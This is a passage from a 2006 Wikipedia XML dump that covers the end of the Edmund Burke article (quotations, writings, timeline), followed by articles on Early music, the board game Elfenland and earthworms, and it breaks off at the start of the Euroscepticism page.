*[http://odur.let.rug.nl/~usa/D/1751-1775/libertydebate/burk.htm On Conciliation with America] ([[1775]]): &quot;''The proposition is peace. Not peace through the medium of war; not peace to be hunted through the labyrinth of intricate and endless negotiations; not peace to arise out of universal discord fomented, from principle, in all parts of the Empire, not peace to depend on the juridical determination of perplexing questions, or the precise marking the shadowy boundaries of a complex government. It is simple peace; sought in its natural course, and in its ordinary haunts. It is peace sought in the spirit of peace, and laid in principles purely pacific . . .''&quot;

==Writings==
*''[[A Vindication of Natural Society: A View of the Miseries and Evils Arising to Mankind]]'' [[1756]] (Liberty Fund, 1982) ISBN 0865970092. This article, outlining radical political theory, was first published anonymously and, when Burke was revealed as its author, he explained that it was a satire. The consensus of historians is that this is correct. An alternate theory, proposed by [[Murray Rothbard]], argues that Burke wrote the ''Vindication'' in earnest but later wished to disavow it for political reasons.
*''[[A Philosophical Enquiry into the Origin of Our Ideas of the Sublime and Beautiful]]'' [[1757]], begun when he was 19 and published when he was 27. (Oxford University Press, 1998) ISBN 0192835807
*''[[Reflections on the Revolution in France]]'' [[1790]] (Oxford University Press, 1999) ISBN 0192839780

==Trivia==
Having lost his only heir, in 1794 Burke refused King George III's offer to raise him to the peerage as Lord Beaconsfield.  That title would later be associated with [[Conservative Party (UK)|Conservative]] politician and Prime Minister [[Benjamin Disraeli, 1st Earl of Beaconsfield|Benjamin Disraeli]].

''[[Reflections on the Revolution in France]]'' was addressed to an anonymous French nobleman whose identity has been the subject of many rumors. Thomas Copeland, editor of Burke's Correspondence, put forth a compelling argument that the recipient was in fact [[Victor Marie du Pont]]. Victor's brother was [[Eleuthère Irénée du Pont]], founder of the [[Du Pont|E.I. duPont de Nemours Company]].

==Notable quotations==

* &quot;Parliament is not a '''congress''' of ambassadors from different and hostile interests; which interests each must maintain, as an agent and advocate, against other agents and advocates; but parliament is a '''deliberative''' assembly of '''one''' nation, with '''one''' interest, that of the whole; where, not local purposes, not local prejudices ought to guide, but the general good, resulting from the general reason of the whole. You choose a member indeed; but when you have chosen him, he is not a member of Bristol, but he is a member of '''parliament'''.'' (Speech to the electors of Bristol, [[3 November]] [[1774]])
* &quot;Young man, there is America - which at this day serves for little more than to amuse you with stories of savage men, and uncouth manners; yet shall, before you taste of death, show itself equal to the whole of that commerce which now attracts the envy of the world.&quot; (''Speech on Concilliation with America, [[22 March]] [[1775]]'')
* &quot;The use of force alone is but '''temporary'''. It may subdue for a moment; but it does not remove the necessity of subduing again: and a nation is not governed which is perpetually to be conquered.&quot; Ib.
* &quot;All protestantism, even the most cold and passive, is a sort of dissent. But the religion most prevalent in our northern colonies is a refinement on the principle of resistance: it is the dissidence of dissent, and the protestantism of the Protestant religion.&quot; Ib.
* &quot;I do not know the method of drawing up an indictment against an whole people.&quot; Ib.
* &quot;A state without the means of change is without the means of its conservation.&quot;
* &quot;They defend their errors as if they were defending their inheritance.&quot;
* &quot;Custom reconciles us to everything.&quot;
* [''On whether America should belong to Britain'']  &quot;If we have equity, wisdom, and justice, it will belong to this country; if we have it not, it will not belong to this country.&quot; 
* &quot;It is now sixteen or seventeen years since I saw the Dauphiness, at Versailles; and surely never lighted on this orb, which she hardly seemed to touch, a more delightful vision. I saw her just above the horizon, decorating and cheering the elevated sphere she just began to move in, - glittering like the morning star, full of life, and splendour, and joy... . Little did I dream that I should have lived to see disasters fallen upon her in a nation of galant men, in a nation of men of honour, and of cavaliers. I thought ten thousand swords must have leaped from their scabbards to avenge even a look that threatened her with insult. But the age of chivalry is gone. That of sophisters, economists, and calculators, has succeeded; and the glory of Europe is extinguished for ever.&quot; (Reflections on the Revolution in France)
* &quot;In my course I have known, and, according to my measure, have co-operated with great men; and I have never yet seen any plan which has not been mended by the observations of those who were much inferior in understanding to the person who took the lead in the business.&quot;
* &quot;Make the Revolution a parent of settlement, and not a nursery of future revolutions.&quot;
* &quot;Neither the few nor the many have a right to act merely by their will, in any matter connected with duty, trust, engagement, or obligation.&quot;
* &quot;Nobody made a greater mistake than he who did nothing because he could do only a little.&quot;
* &quot;When bad men combine, the good must associate; else they will fall one by one, an unpitied sacrifice in a contemptible struggle.&quot;
* &quot;[[Jacobin|Jacobinism]] is the revolt of the enterprising talents of a country against its property.&quot;
* &quot;The true danger is when liberty is nibbled away, for expedients, and by parts.&quot;
* &quot;Your representative owes you, not his industry only, but his judgment; and he betrays, instead of serving you, if he sacrifices it to your opinion.&quot;
* &quot;The only thing necessary for evil to triumph is for good men to do nothing.&quot;


It was Burke who first referred to the &quot;great unwashed masses of humanity&quot;.

The quotation most often attributed to Burke (&quot;The only thing necessary for the triumph of evil is for good men to do nothing&quot;, along with its many variants) is allegedly not from his writings. 

This quote may have been adapted from these lines of Burke's in his [[Thoughts on the Cause of Present Discontents]] (1770):

&quot;When bad men combine, the good must associate; else they will fall one by one, an unpitied sacrifice in a contemptible struggle.&quot;


See [http://www.tartarus.org/~martin/essays/burkequote.html] and [http://www.tartarus.org/~martin/essays/burkequote2.html]. The quotation is similar in sentiment to a quotation of John Philpot Curran ([[1750]] - [[1817]]), ascribed to a ''Speech on the Right of Election of Lord Mayor of Dublin'', [[10 July]] [[1790]]: &quot;The condition upon which God hath given liberty to man is eternal vigilance; which condition, if he break, servitude is at once the consequence of his crime, and the punishment of his guilt.&quot;

== Summary ==
&lt;timeline&gt;
ImageSize  = width:450 height:450
PlotArea   = left:50 right:0 bottom:10 top:10

DateFormat = yyyy
Period     = from:1725 till:1800
TimeAxis   = orientation:vertical 
ScaleMajor = unit:year increment:5 start:1725
ScaleMinor = unit:year increment:1 start:1725

PlotData=
  color:red mark:(line,black) align:left fontsize:S 
  shift:(25,0) # shift text to right side of bar

  # there is no automatic collision detection, fontsize:XS 
  # so shift texts up or down manually to avoid overlap shift:(25,-10) 

  at:1729             text:Born in Dublin
  at:1743             text:Joins Trinity College
  at:1750             text:Enters Middle Temple
  at:1756             text:Publishes treatise On the Sublime and Beautiful
  at:1765             text:Becomes friend of Rockingham
  at:1775             text:Enters Parliament and engages in American controversy, ~ publishes speech on Conciliation with America
  at:1782             text:Paymaster of Forces and P.C.; ~ joined coalition of Fox and North 
  from:1787 till:1794 shift:(25,6) text:Leads in prosecution of W. Hastings
  at:1790             text:Publishes Reflections on French Revolution; ~ breaks with Fox party
  at:1796             text:Publishes Letter on a Regicide Peace
  at:1797 shift:(25,5) text:Dies
&lt;/timeline&gt;

{{start box}}
{{succession box | title=[[Paymaster of the Forces]] | before=[[Richard Rigby]] | after=[[Isaac Barré]] | years=1782}}
{{succession box | title=[[Paymaster of the Forces]] | before=[[Isaac Barré]] | after=[[William Wyndham Grenville, 1st Baron Grenville|William Wyndham Grenville]] | years=1783&amp;ndash;1784}}
{{end box}}

==See also==
*[[Charles Watson-Wentworth, 2nd Marquess of Rockingham]]
*[[Charles James Fox]]
*[[List of people on stamps of Ireland]]

==External links==
{{wikiquote}}
{{Wikisource author}}
* {{gutenberg author| id=Edmund+Burke | name=Edmund Burke}}
* [http://www.constitution.org/eb/burke.htm Text of ''Reflections on the Revolution in France'']
* [http://plato.stanford.edu/entries/burke/ Stanford Encyclopedia of Philosophy entry]
* [http://aniceday.eotalk.com The Works of the Right Honourable Edmund Burke]
* [http://www.fundacionburke.org Spanish foundation based on Burke's thoughts]

==References==
*{{A Short Biographical Dictionary of English Literature}}
*[[Conor Cruise O'Brien]], 1992. ''The Great Melody: A Thematic Biography of Edmund Burke''.  ISBN 0226616517
*[[Russell Kirk]], 1992 (1953). ''The Conservative Mind: From Burke to [[T.S. Eliot|Eliot]],'' 7th ed.
*[http://www.bootlegbooks.com/Reference/PhraseAndFable/data/1261.html BREWER: THE DICTIONARY OF PHRASE AND FABLE]

&lt;!--[[image:edmund_burke.jpg|thumb|right|Edmund Burke]]--&gt;


[[Category:1729 births|Burke, Edmund]]
[[Category:1797 deaths|Burke, Edmund]]
[[Category:18th century philosophers|Burke, Edmund]]
[[Category:Anglicans|Burke, Edmund]]
[[Category:British MPs|Burke, Edmund]]
[[Category:Early modern philosophers|Burke, Edmund]]
[[Category:Freemasons|Burke, Edmund]]
[[Category:Historians of the French Revolution|Burke, Edmund]]
[[Category:Irish people|Burke, Edmund]]
[[Category:Irish politicians|Burke, Edmund]]
[[Category:People associated with Trinity College, Dublin|Burke, Edmund]]

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[[cy:Edmund Burke]]
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  </page>
  <page>
    <title>Early music</title>
    <id>10033</id>
    <revision>
      <id>41738735</id>
      <timestamp>2006-03-01T11:37:06Z</timestamp>
      <contributor>
        <username>Hyacinth</username>
        <id>17171</id>
      </contributor>
      <minor />
      <comment>/* Notation and performance */ what, ibid</comment>
      <text xml:space="preserve">{{European art music eras}}
'''Early music''' is [[European classical music]] before the [[Classical music era]] and after [[Ancient music]].  The common range given is from the end of [[Ancient music]] to the beginning of the [[Baroque music|Baroque]] era in about 1600, and so roughly corresponds with the [[Europe]]an [[Middle Ages]] period.

==Post-Antiquity==
For information on early music post-Antiquity, see the following articles:

*[[Medieval music]] (roughly 1000-1450)
*[[Renaissance music]] (roughly 1450-1600)
*[[Baroque music]] (roughly 1600-1750)

==Authentic performance==
The term &quot;early music&quot; is closely associated with the concept of [[authentic performance]].  The authentic performance movement began with the performance of early music, and in general, the earlier the music, the more likely it is that its performers will show an interest in authentic performance as it becomes more difficult for the reason listed below and others.

==Notation and performance==
According to Margaret Bent (1998), Early [[music notation]], &quot;is under-prescriptive by our standards; when translated into modern form it acquires a prescriptive weight that overspecifies and distorts its original openness.&quot; Before about 1600, written music did not consistently state  which instruments are used when. A century earlier, people who wrote down music did not always specify whether lines of [[polyphony]] were to be sung or played on an instrument. Similarly, the notation frequently does not indicate what key to play the music in, if any. Accidentals were not necessary. Notations for rhythm go back only to about 1200. There is thus a speculative element to all modern performances of Medieval and Renaissance music. However, Renaissance musicians would have been highly trained in [[dyadic counterpoint]] and thus possessed this and other information necessary to read a score, &quot;what modern notation [now] requires [accidentals] would then have been perfectly apparent without notation to a singer versed in counterpoint&quot; (ibid). See the article on [[Renaissance music]] and its section on notation and performance.

==See also==
* [[List of early music ensembles]]

==Sources==
*Judd, Cristle Collins. &quot;Introduction: Analyzing Early Music&quot; in Judd, Cristle Collins (ed.) (1998). ''Tonal Structures of Early Music''. New York: Garland Publishing. ISBN 0815323883.
*Bent, Margaret. &quot;The Grammar of Early Music: Preconditions for Analysis&quot; in Judd, Cristle Collins (ed.) (1998). ''Tonal Structures of Early Music''. New York: Garland Publishing. ISBN 0815323883.

==External links==
*[http://www.medieval.org/emfaq/ Early Music FAQ]
** [http://www.medieval.org/emfaq/misc/whatis.htm What is Early Music?]

[[Category:Early music]]

{{Link FA|he}}

[[de:Alte Musik]]
[[fr:Musique ancienne]]
[[he:מוזיקה עתיקה]]
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  </page>
  <page>
    <title>Elfenland</title>
    <id>10035</id>
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      <id>31168308</id>
      <timestamp>2005-12-13T08:17:12Z</timestamp>
      <contributor>
        <username>Nameneko</username>
        <id>169784</id>
      </contributor>
      <minor />
      <comment>/* External links */ rv boardgamegeek as linkspam</comment>
      <text xml:space="preserve">{{Infobox_Game|
  subject_name=Elfenland |
  image_link= |
  image_caption= |
  players= 2&amp;ndash;6 |
  ages= 10 and up |
  setup_time=&lt; 5 minutes |
  playing_time= 60 minutes |
  complexity=Easy |
  strategy=Medium |
  random_chance=Medium |
  skills=[[Route|Route planning]]&lt;br&gt;[[Racing]] |
  footnotes=
}}

:''For the legendary mystical &quot;Elfland&quot;, see [[Álfheim]]''

'''Elfenland''' is a [[German-style board game]] designed by [[Alan R. Moon]] and published by [[Amigo Spiele]] in German and [[Rio Grande Games]] in English in [[1998]].  

It won the [[Spiel des Jahres]] in 1998 and the [[Deutscher Spiele Preis]] 3rd place 1998. &lt;br /&gt;
It is originally based on his earlier game [[Elfenroads]] (published by [[White Wind]]), but since Elfenroads took about four hours for a good game, the play was simplified to reduce the time closer to an hour, making it appeal better for a family game.

== Gameplay ==

The game is played by 2-6 players, with 4-5 making for the best game.  
Each player tries to reach as many cities as possible and then return to his &quot;home city.&quot;  
Home cities are drawn at the beginning of the game from a pack of city cards and they remain hidden throughout the game.
The game is thus reminiscent of the [[traveling salesman problem]].

Players move using transportation cards.  
Elves can travel on a wide variety of vehicles including troll wagons, elf cycles, rafts, giant pigs, unicorns, dragons and [[Magic (game)|magic]] clouds.  
Different types of transportation will travel better over different terrain.  
There is only one problem:  you cannot travel over a route (except water) unless there is a tile of that type on the board.  Before anyone can move, tiles are drawn and laid out across the board and this part is the one that calls for the most strategy as players try to line up their tiles to set up a nice route for themselves and try to mess up their opponents at the same time.

As well as normal tiles, each player receives one trouble tile for the length of the game.
These mess up other players by forcing them to use an extra transportation card at that point.  
Also, any player can simply use any three cards to pass over any route that has a tile already there.

The game has subtle strategies to make others navigate through the cities.  
When a player puts a transportation type you don't want in your path then you have to find a way around it.  
All of the aspects of the game make for a very exciting race to visit the most cities while never quite being sure who is winning until the last round.

==Expansion==
There was an expansion for Elfenland published, called '''Elfengold'''. 
Note that this is different from the original '''Elfengold''' published by White Wind. 
The expansion is, however, hard to find.

[[Category:Board games]]
[[Category:Spiel des Jahres winners]]

[[de:Elfenland]]
[[zh:精靈國度]]</text>
    </revision>
  </page>
  <page>
    <title>Earthworm</title>
    <id>10036</id>
    <revision>
      <id>42146555</id>
      <timestamp>2006-03-04T03:09:36Z</timestamp>
      <contributor>
        <username>Canderson7</username>
        <id>202193</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/70.251.17.182|70.251.17.182]] ([[User talk:70.251.17.182|talk]]) to last version by WormRunner</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Earthworms
| image = Earth-worm_1.jpg
| image_width = 250px
| image2 = lumbricus.jpg
| image2_width = 250px
| regnum = [[Animal]]ia
| phylum = [[Annelida]]
| classis = [[Clitellata]]
| subclassis = [[Oligochaeta]]
| ordo = '''Haplotaxida'''
| subdivision_ranks = Families
| subdivision = 
Suborder [[Haplotaxina]]&lt;br/&gt;
&amp;nbsp; [[Haplotaxidae]]&lt;br/&gt;
Suborder [[Moniligastrina]]&lt;br/&gt;
&amp;nbsp; [[Moniligastridae]]&lt;br/&gt;
Suborder [[Lumbricina]]&lt;br/&gt;
&amp;nbsp; [[Alluroididae]]&lt;br/&gt;
&amp;nbsp; [[Eudrilidae]]&lt;br/&gt;
&amp;nbsp; [[Glossoscolecidae]]&lt;br/&gt;
&amp;nbsp; [[Lumbricidae]]&lt;br/&gt;
&amp;nbsp; [[Sparganophilidae]]&lt;br/&gt;
&amp;nbsp; [[Acanthodrilidae]]&lt;br/&gt;
&amp;nbsp; [[Octochaetidae]]&lt;br/&gt;
&amp;nbsp; [[Exxidae]]&lt;br/&gt;
&amp;nbsp; [[Megascolecidae]]&lt;br/&gt;
&amp;nbsp; [[Microchaetidae]]&lt;br/&gt;
&amp;nbsp; [[Eudrilidae]]&lt;br/&gt;
Suborder [[Tubificina]]&lt;br/&gt;
&amp;nbsp; [[Dorydrilidae]]&lt;br/&gt;
&amp;nbsp; [[Enchytraeidae]]&lt;br/&gt;
&amp;nbsp; [[Naididae]]&lt;br/&gt;
&amp;nbsp; [[Opistocystidae]]&lt;br/&gt;
&amp;nbsp; [[Phreodrilidae]]&lt;br/&gt;
&amp;nbsp; [[Tubificidae]]
}}

'''Earthworm''' is the common name for the larger members of the [[Oligochaeta]] (which is either a class or subclass depending on the author) in the phylum [[Annelida]]. In classical systems they were placed in the order '''Opisthopora''', on the basis of the male pores opening to the outside of body posterior to the female pores, even though the male segments are anterior to the female. [[Cladistics|Cladistic]] studies have supported placing them instead in the '''Haplotaxida''', which also includes the family [[Haplotaxidae]]. Folk names for earthworm include &quot;dew-worm&quot;, &quot;night crawler&quot; and &quot;angleworm&quot;.

Earthworms are also called '''megadriles''' (or big worms), as opposed to the [[microdrile]]s, which include the families [[Tubificidae]], [[Lumbriculidae]], and [[Enchytraeidae]], among others. The haplotaxids have been traditionally considered microdriles.  The megadriles are characterized by having a multilayered [[clitellum]] (which is much more obvious than the single-layered one of the microdriles), a vascular system with true capillaries, and male pores behind the female pores.

==Overview==

There are over 2,200 species known worldwide, existing everywhere but [[Arctic climate|Arctic]] and [[arid]] [[climate]]s.  They range in size from two centimeters (less than one inch) to over three meters (almost ten feet) in the [[Giant Gippsland Earthworm]]. Amongst the main earthworm species commonly found in the soil are the red coloured ''[[Lumbricus terrestris]]'', which dwells close to and leaves its deposits on the surface, whilst the greyish blue ''[[Aporrectodea caliginosa]]'' is deeper burrowing.

In temperate zone areas, the most commonly seen earthworms are lumbricids ([[Lumbricidae]]), mostly due to the recent rapid spread of a relatively small number of European species, but there are several other families, e.g. [[Megascolecidae]], [[Sparganophilidae]], [[Glossoscolecidae]], [[Haplotaxidae]], and others.  These other families are often very different from the lumbricids in [[behavior]], [[physiology]] and [[habitat (ecology)|habitat]].

==Anatomy==

Earthworms have a closed [[circulatory system]]. They have two main blood vessels that extend through the length of their body: a ventral blood vessel which leads the blood to the posterior end, and a dorsal blood vessel which leads to the anterior end. The dorsal vessel is contractile and pumps blood forward, where it is pumped into the ventral vessel by a series of &quot;hearts&quot; which vary in number in the different taxa.  A typical [[Lumbricidae|lumbricid]] will have 5 pairs of hearts. The blood is distributed from the ventral vessel into capillaries on the body wall and other organs and into a vascular sinus in the gut wall where gases and nutrients are exchanged.  This arrangement may be complicated in the various groups by suboesophageal, supraoesophageal, parietal and neural vessels, but the basic arrangement holds in all earthworms.

==Dissection==

The classroom [[dissection]] of the earthworm and other animals has become controversial in recent years.  One response to this has been the development of online &quot;[http://www.com/mt/archives/2005/02/more_virtual_di.html virtual dissections]&quot;.

==Reproduction==
Earthworms are [[hermaphrodite]]s (both female and male organs within the same individual) but cannot fertilize their own eggs. They have testes, [[seminal vesicles]] and male [[pore]]s which produce, store and release the sperm, and ovaries and ovipores. However, they also have one or more pairs of [[spermatheca]]e (depending on the species) that are internal sacs which receive and store sperm from the other worm in copulation. [[Copulation]] and [[reproduction]] are separate processes in earthworms.  The mating pair overlap front ends [[ventral]]ly and each exchanges sperm with the other.  The cocoon, or egg case, is secreted by the clitellum, the external glandular band which is near the front of the worm, but behind the spermathecae.  Some indefinite time after copulation, long after the worms have separated, the clitellum secretes the cocoon which forms a ring around the worm.  The worm then backs out of the ring, and as it does so, injects its own eggs and the other worm's sperm into it.  As the worm slips out, the ends of the cocoon seal to form a vaguely lemon-shaped incubator ([[cocoon]]) in which the embryonic worms develop.  They emerge as small, but fully formed earthworms, except for lacking the sexual structures, which develop later.  Some earthworm species are mostly [[parthenogenesis|parthenogenetic]], in which case the male structures and spermathecae may become abnormal, or missing.

==Behavior==
One often sees earthworms come to the surface in large numbers after a rainstorm. There are three theories for this behavior. The first is that the waterlogged soil has insufficient oxygen for the worms, therefore, earthworms come to the surface to get the oxygen they need and breathe more easily. Secondly, some species (notably [[Lumbricus terrestris]]) come to the surface to mate.  This behavior is, however, limited to a few species.  Thirdly, the worms may be using the moist conditions on the surface to travel more quickly than they can underground, thus colonizing new areas more quickly.  This is in any event a dangerous activity in the daytime, since earthworms die quickly when exposed to direct sunlight with its strong [[UV]] content, and are vulnerable to predators such as [[birds]].

[[Image:Wormanatomy.png|thumb|350px|Anatomy of the earthworm]]

==Locomotion and importance to soil==

Earthworms travel underground by the means of waves of muscular contractions which alternately shorten and lengthen the body.  The shortened part is anchored to the surrounding soil by tiny claw-like bristles ([[seta|setae]]) set along its segmented length.  The whole process is aided by the secretion of a slimy lubricating mucous. In more compacted soils the earthworm actually eats its way through the soil, cutting a passage with its muscular pharynx and dragging the rest of the body along.  The ingested soil is ground up, digested, and the waste deposited behind the worm.  This process aerates and mixes the soil, and is often considered greatly helpful by gardeners and farmers. In addition, many earthworms will come to the surface and graze on the higher concentrations of organic matter there, mixing it with the mineral soil.  Because a high level of organic matter is associated with soil fertility, an abundance of earthworms is a happy sight for the [[Organic gardening|organic gardener]]. In fact as long ago as 1881 [[Charles Darwin]] wrote: 
&lt;blockquote&gt;''&quot;It may be doubted whether there are any other animals which have played so important a part in the history of the world, as have these lowly creatures&quot;''&lt;/blockquote&gt;
:(''The Formation Of Vegetable Mould Through The Action Of Worms'', Charles Darwin)

==Benefits==

The major benefits of earthworm activities to soil fertility can be summarised as:

* '''Biological'''. The earthworm is essential to [[compost]]ing; the process of converting dead organic matter into rich [[humus]], a medium vital to the growth of healthy plants, and thus ensuring the continuance of the cycle of fertility. This is achieved by the worm's actions of pulling down below any organic matter deposited on the soil surface (eg, leaf fall, manure, etc) either for food or when it needs to plug its burrow. Once in the burrow, the worm will shred the leaf and partially digest it, then mingle it with the earth by saturating it with intestinal secretions. Worm casts (see below) can contain 40% more humus than the top 6&quot; of soil in which the worm is living. 

* '''Chemical'''. As well as dead organic matter, the earthworm also ingests any other soil particles that are small enough (including stones up to 1/20 of an inch across) into its 'crop' wherein minute fragments of grit grind everything into a fine paste which is then digested in the stomach. When the worm excretes this in the form of casts which are deposited on the surface or deeper in the soil, a perfectly balanced selection of minerals and plant nutrients is made available in an accessible form. Investigations in the [[United States|US]] show that fresh earthworm casts are 5 times richer in available [[nitrogen]], 7 times richer in available [[phosphate]]s and 11 times richer in available [[potash]] than the surrounding upper 6 inches (150 mm) of soil. In conditions where there is plenty of available humus, the weight of casts produced may be greater than 4.5 kg (10 lb) per worm per year, in itself an indicator of why it pays the gardener or farmer to keep worm populations high. 

* '''Physical'''. By its burrowing actions, the earthworm is of great value in keeping the soil structure open, creating a multitude of channels which allow the processes of both aeration and drainage to occur. [[Permaculture]] co-founder [[Bill Mollison]] points out that by sliding in their tunnels, earthworms &quot;act as an innumerable army of pistons pumping air in and out of the soils on a 24 hour cycle (more rapidly at night)&quot; (''Permaculture- A Designer's Manual'', Tagari Press, [[1988]]). Thus the earthworm not only creates passages for air and water to traverse, but is itself a vital component in the living biosystem that is healthy soil.

It is important that we do not take the humble earthworm for granted. Dr. W. E. [[Shewell Cooper]] observed &quot;tremendous numerical differences between adjacent gardens&quot; (''Soil, Humus And Health''), and worm populations are affected by a host of environmental factors, many of which can be influenced by good management practices on the part of the gardener or farmer.

Darwin estimated that [[arable land]] contains up to 53,000 worms per acre (13/m&amp;sup2;), but more recent research from [[Rothamsted Experimental Station]] has produced figures suggesting that even poor soil may support 250,000/acre (62/m&amp;sup2;), whilst rich fertile farmland may have up to 1,750,000/acre (432/m&amp;sup2;). 

Professor I. L. Heiberg of [[State University of New York]] [[State University of New York College of Environmental Science and Forestry|College of Environmental Science and Forestry]] has stated that in optimum conditions, the worm population may even reach 250,000,000 per acre (62,000/m&amp;sup2;), meaning that the weight of earthworms beneath the farmer's soil could be greater than that of his livestock upon its surface. One thing is certain however: rich, fertile soil that is cared for organically and well-fed and husbanded by its steward will reap its reward in a healthy worm population, whilst denuded, overworked, and eroded land will almost certainly contain fewer, scrawny, undernourished specimens.

== Earthworms as invasives ==

Lumbricid earthworms are invasive to North America and not only have displaced native earthworms in much of the continent, but have invaded areas where earthworms did not formerly exist. There are no native earthworms in much of North America, especially in the north, and the forests there developed relying on a large amount of undecayed leaf matter. The worms decompose that leaf layer, making the habitat unsurvivable for certain species of trees, ferns and wildflowers. Currently there is no economically feasible method for controlling earthworms in forests, besides preventing introductions. Earthworms normally spread slowly, but can be widely introduced by human activities such as construction earthmoving, or by fishermen releasing bait, or by plantings from other areas.

Soils which have been invaded by earthworms can be recognized by an absence of palatable leaf litter. For example, in a [[sugar maple]] - [[white ash]] - [[beech]] - [[northern red oak]] association, only the beech and oak leaves will be seen on the forest floor (except during autumn leaf-fall), as earthworms quickly devour maple and ash leaves. [[Basswood]], [[dogwood]], [[elm]], [[poplar]] and [[tuliptree]] also produce palatable foliage.

== Special habitats ==

While, as the name ''earthworm'' suggests, the main habitat of earthworms is in soil, the situation is more complicated than that.  The [[brandling worm]] ''Eisenia fetida'' lives in decaying plant matter and manure.  ''[[Arctiostrotus vancouverensis]]'' from [[Vancouver Island]] and the [[Olympic Peninsula]] is generally found in decaying conifer logs or in extremely acid humus.  ''[[Aporrectodea limicola]]'' and ''[[Sparganophilus]]'' and several others are found in mud in streams.  Even in the soil species, there are special habitats, such as soils derived from [[serpentine]] which have an earthworm fauna of their own.

==Ecology==

Earthworm populations depend on both physical and chemical properties of the soil, such as soil temperature, moisture, pH, salts, aeration and texture, as well as available food, and the ability of the species to reproduce and disperse. 

One of the most important environmental factors is [[pH]], but earthworms vary in their preferences. Most earthworms favor neutral to slightly acid soil. However, ''Lumbricus terrestris'' are still present in pH of 5.4 and ''[[Dendrobaena octaedra]]'' at pH of 4.3 and some [[Megascolecidae]] are present in extremely acid humic soils. Soil pH may also influence the numbers of worms that go into diapause. The more acid the soil, the sooner worms went into diapause, and remain in diapause the longest time at pH of 6.4. 

Earthworms form the base of many food chains.  They are preyed upon by many species of [[bird]]s, e.g. [[starling]]s, [[Thrush (bird)|thrushes]], [[gull]]s, [[crow]]s, and [[robin]]s. Mammals such as [[hedgehog]]s and [[mole (animal)|mole]]s eat many earthworms as well. Earthworms are also eaten by many invertebrates such as [[Ground beetle]]s and other [[beetle]]s, [[snail]]s, [[slug]]s and [[flatworm]]s. Earthworms have many internal [[parasite]]s including Protozoa, Platyhelminthes, nematodes. They are found in  many part of earthworms' bodies like the blood, seminal vesicles, coelom, intestine, or in the cocoons.

==Threats to earthworms==

The application of chemical fertilisers, sprays and dusts can have a disastrous effect on earthworm populations. Nitrogenous fertilisers tend to create [[Soil pH|acid conditions]], which are fatal to the worms, and often dead specimens are to be found on the surface following the application of substances like [[DDT]], [[lime sulphur]] and [[lead arsenate]]. In [[Australia]], the use of [[superphosphate]] on [[pasture]]s almost totally wiped out the giant [[Gippsland earthworm]].

In addition, as earthworms are processors of large amounts of plant and mineral materials, even if not killed themselves they can accumulate pollutants such as [[DDT]], [[lead]], [[cadmium]], and [[dioxin]]s at levels up to 20 times higher than in the soil, which in turn are passed on at lethal dosages to the wildlife which feed upon them such as [[fox]]es, [[mole (animal)|mole]]s or [[bird]]s.

Therefore, the most reliable way to maintain or increase the levels of worm population in the soil is to avoid the application of artificial chemicals, as well as adding organic matter, preferably as a surface mulch, on a regular basis. This will not only provide them with their food and nutrient requirements, but also creates the optimum conditions of heat (cooler in summer and warmer in winter) and moisture to stimulate their activity.

A recent threat to earthworm populations in the [[United Kingdom|UK]] is the [[New Zealand Flatworm]] (''Artiposthia triangulata''), which feeds upon the earthworm, but in this country has no natural predator itself. At present sightings of the NZFW have been mainly localised, but this is no reason for complacency as it has spread extensively since its introduction in 1960 through contaminated soil and plant pots. Any sightings of the flatworm should be reported to the [[Scottish Crop Research Institute]], who are monitoring its spread.

==Economic Impact==

Various species of worms are used in [[vermiculture]], the practice of feeding organic waste to earthworms to decompose (digest) it, a form of [[compost]]ing by the use of worms. These are usually ''[[Eisenia fetida]]'' or the Brandling worm, also known as the Tiger worm or Red Wriggler, and are distinct from soil-dwelling earthworms.

Earthworms are sold all over the world. The earthworm market is sizeable. According to Doug Collicut (see &quot;Nightcrawler&quot; link below), &quot;In 1980, 370 million worms were exported from Canada, with a Canadian export value of $13 million and an American retail value of $54 million.&quot;

==Taxonomy and main geographic origins of earthworms==

Main families :

* [[Lumbricidae]] : temperate areas of Northern Hemisphere
* [[Hormogastridae]] : Europe
* [[Sparganophilidae]] : North America
* [[Almidae]] : Africa, South America
* [[Megascolecidae]] : South East Asia, Australia and Oceania
* [[Acanthodrilidae]] : Africa, central and South America, Australia and Oceania
* [[Ocnerodrilidae]] : Central and South America, Africa
* [[Octochaetidae]] : Central America, India, New Zealand, Australia
* [[Glossoscolecidae]] : central and Northern South America
* [[Eudrilidae]] : Africa

== See also ==

*[[Lumbricidae]]
*[[Megascolecidae]]
*[[Sparganophilidae]]
*[[Soil life]]
*[[Gilbert White]]

== External References ==

* [http://www.compost-bin.org/worm-compost.html What is Worm Compost?]
* [http://www.compost-bin.org/earthworm-species.html Earthworm Species by Kelly Slocum]
* [http://www.sarep.ucdavis.edu/worms/ Earthworm Information (UC Davis)]
* [http://www.encyclopedia.com/html/e1/earthworm.asp earthworm on Encyclopedia.com]
* [http://www.naturenorth.com/fall/ncrawler/ncrawlF.html Biology of the Night Crawler (Lumbricus terrestris)]
* [http://www.naturewatch.ca/english/wormwatch/about/guide/about_guide_redworms.html WormWatch - Field guide to earthworms]
* [http://flatworm.csl.gov.uk/ New Zealand flatworm page (UK Govt.)]
* [http://www.hdra.org.uk/factsheets/pc21.htm New Zealand flatworm page (HDRA)]
* [http://www.naturewatch.ca/english/wormwatch/index.html Worm Watch] Canadian worm awareness and appreciation site, with detailed worm anatomy.
* [http://www.dnr.state.mn.us/invasives/terrestrialanimals/earthworms/index.html Minnesota Invasive Earthworms] Minnesota DNR information on the negative impacts of earthworms
* [http://www.pedozoologia.net/Bev.htm#csaba Lumbricidae keys and Dichogastrid checklist]
* [http://bio-eco.eis.ynu.ac.jp/eng/database/earthworm/ A Series of Searchable Texts on Earthworm Biodiversity, Ecology and Systematics from Various Regions of the World]

[[Category:Annelids]]
[[Category:Cryptic animals]]

[[da:Regnorm]]
[[de:Regenwürmer]]
[[es:Lumbricidae]]
[[eo:Tervermo]]
[[fr:Ver de terre]]
[[he:תולעי אדמה]]
[[nl:Regenwormen]]
[[ja:ミミズ]]
[[pl:Dżdżownica]]
[[pt:Minhoca]]
[[sv:Daggmask]]
[[zh:蚯蚓]]</text>
    </revision>
  </page>
  <page>
    <title>Euroscepticism</title>
    <id>10037</id>
    <revision>
      <id>41893347</id>
      <timestamp>2006-03-02T12:29:01Z</timestamp>
      <contributor>
        <ip>212.102.225.147</ip>
      </contributor>
      <comment>see also</comment>
      <text xml:space="preserve">{{mergefrom|Eurorealism}}
{{mergefrom|Euronaivism}}

